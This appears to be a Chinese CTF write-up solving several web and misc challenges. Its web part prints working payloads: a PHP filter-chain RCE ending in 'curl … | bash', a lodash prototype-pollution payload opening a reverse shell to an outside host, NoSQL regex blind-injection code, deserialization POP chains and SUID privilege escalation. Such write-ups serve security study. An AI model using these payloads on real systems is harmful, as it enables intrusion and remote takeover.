    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
var_dump($final_payload);

$base64_payload反转则是因为是从右边开始产生字符,然后在最左边通过convert.iconv.UTF8.CSISO2022KR来生成\x1b$)C然后进行利用,还不能影响后面已经产生的字符。

至于convert.iconv.UTF8.UTF7单纯的防止=的干扰。

源码:

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

有黑名单过滤,urlencode一下即可绕过

php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC%5fP271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=curl 118.x.x.164|bash

弹个shell,发现flag在根目录,无权限,发现date命令可以suid提权

image

/bin/date -f /flag

image

Web2:step_by_step-v3

<?php
class yang
{
    public $y1;

    /*public function __construct()
    {
        $this->y1->magic();
    }*/

    public function __tostring()
    {
        ($this->y1)();
    }

    public function hint()
    {
        include_once('hint.php');
        if(isset($_GET['file']))
        {
            $file = $_GET['file'];
            if(preg_match("/$hey_mean_then/is", $file))
            {
                die("nonono");
            }
            include_once($file);
        }
    }
}

class cheng
{
    public $c1;

    public function __wakeup()
    {
        $this->c1->flag = 'flag';
    }

    public function __invoke()
    {
        $this->c1->hint();
    }
}

class bei
{
    public $b1;
    public $b2;

    public function __set($k1,$k2)
    {
        print $this->b1;
    }

    public function __call($n1,$n2)
    {
        echo $this->b1;
    }
}

$yang = new yang();
$cheng = new cheng();
$bei = new bei();

$yang->y1 = $bei;
$yang->y1->b1 = new yang();
$yang->y1->b1->y1 = 'phpinfo';

$cheng->c1 = $bei;

print_r(serialize([$yang,$cheng]));

?>

image

Web3:EzNode1

写个脚本盲注:

import requests
import string

url = 'url'
passwd=''

for i in string.printable:
    payload = """{"username":'administrator',"password":{"$regex":'^%s"}}""" % (passwd + i)
    headers = {'Content-Type':'application/json'}

r = requests.post(url=url,headers=headers,data=payload)

if 'Are' in r.text:
    password += i
    print("%s" % (passwd))

username:administrator
password:tHe_pAsSw0rd_thAt_y0u_NeVer_Kn0w

image

/source目录下有源码,审计一下:

var express = require('express');
var mongoose = require('mongoose');
var bodyParser = require('body-parser');
var fs = require('fs');
var lodash = require('lodash');
var session = require('express-session');
var randomize = require('randomatic');

mongoose.connect('mongodb://localhost/ctf', { useNewUrlParser: true });

......

app.set('views', './views');
app.set('view engine', 'ejs');
app.use('/static', express.static('static'));

......

app.get('/', (req, res, next) => {

    if(req.session.admin === undefined || req.session.admin === null) {
        res.redirect('/login');
    } else {
        res.redirect('/home');
    }
})

// login
app.all('/login', function(req, res) {

    ......

});

app.all('/home', function(req, res) {

    if(!req.session.admin) {
        return res.redirect('/');
    }

    if(req.session.data !== undefined && req.session.data !== null) {
        res.render('home.ejs', {
            real_name: req.session.data.realname,
            age: req.session.data.age
        });
    }
 else {
        res.render('home.ejs', {
            real_name: 'Undefined',
            age: 'Undefined'
        });
    }

});

// update your info
app.all('/update', (req, res) => {

    if(!req.session.admin) {
        return res.redirect('/');
    }

    if (req.method == 'GET') {
        res.render('update.ejs');
    }

    let data = req.session.data || {realname: '', age: ''}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body);
        req.session.data = data;
        if(req.session.data.realname) {
              res.redirect('/home');
        }
    }
})

var server = app.listen(3000, '0.0.0.0', function () {

    var host = server.address().address;
    var port = server.address().port;

    console.log("listening on http://%s:%s", host, port);
});

发现是lodash.merge 以及使用了 ejs 模板,在/update 可以实现RCE

json格式传递

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/118.x.x.164/3333 0>&1\"');var __tmp2"}}

image

也是有一层提权,可以利用引入新的环境变量来提权

image

/home/bunny命令有root权限,执行一下发现是id

image

引入新的环境变量,执行命令

image

Web6:Safepop

浙江省赛原题,php的垃圾回收机制

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

得到paylaod之后删除一个}或者改个数字,触发垃圾回收机制 fastdestruct 就ok

MISC

迷失幻境

取证大师打开,分析图片

image

这些图片md5相同,45不同,没有文件类型,导出,缺失文件头,进行修复

image​​

与其他任一图片进行对比

image

查看回收站,发现可莉的图片

image

导出,outguess解密

image

寻宝-fix

c3dd0c35afbc6d34298f52d7800d5ae

504B0304的倒序,编写脚本进行处理,

# -*- coding:utf-8 -*-
import binascii
a=bytes
with open("./liyou.zip","rb") as e:
    a=e.read()
# print(a)

b = binascii.hexlify(a)
hex_str = b.decode("ascii")
# print(hex_str)
# hex_str="504b01020304"
c=str()
for i in range(0,len(hex_str),2):
    c+=(hex_str[i:i+2])[::-1]
# print(c)
# y=binascii.unhexlify(c)
# print(y)

with open("llll.txt","w") as e:
    e.write(c)
import os
os.system("xxd -r -p llll.txt >kkk.zip")

解压得到游戏和压缩包

看hint,总结一下:

  1. 注意音频的钢琴
  2. 注意两种地形

在玩游戏的时候,用CE固定一下血量,防止游戏退出

DC3H8F38TZIFH9EQ37

前四关地图是变种猪圈密码,

image

OWOH

用GameMaker提取游戏资源文件,其中有mp3,听声音第四秒到第十秒,结合hint,第二段是114514

image

第三段地图是曼彻斯特编码,把每个地图联合起来

IMG_1269

01011111011000010011000101011111

image

拼接尝试一下,发现压缩包密码OWOH_a1_114514

vim打开文档,零宽隐写:

image

image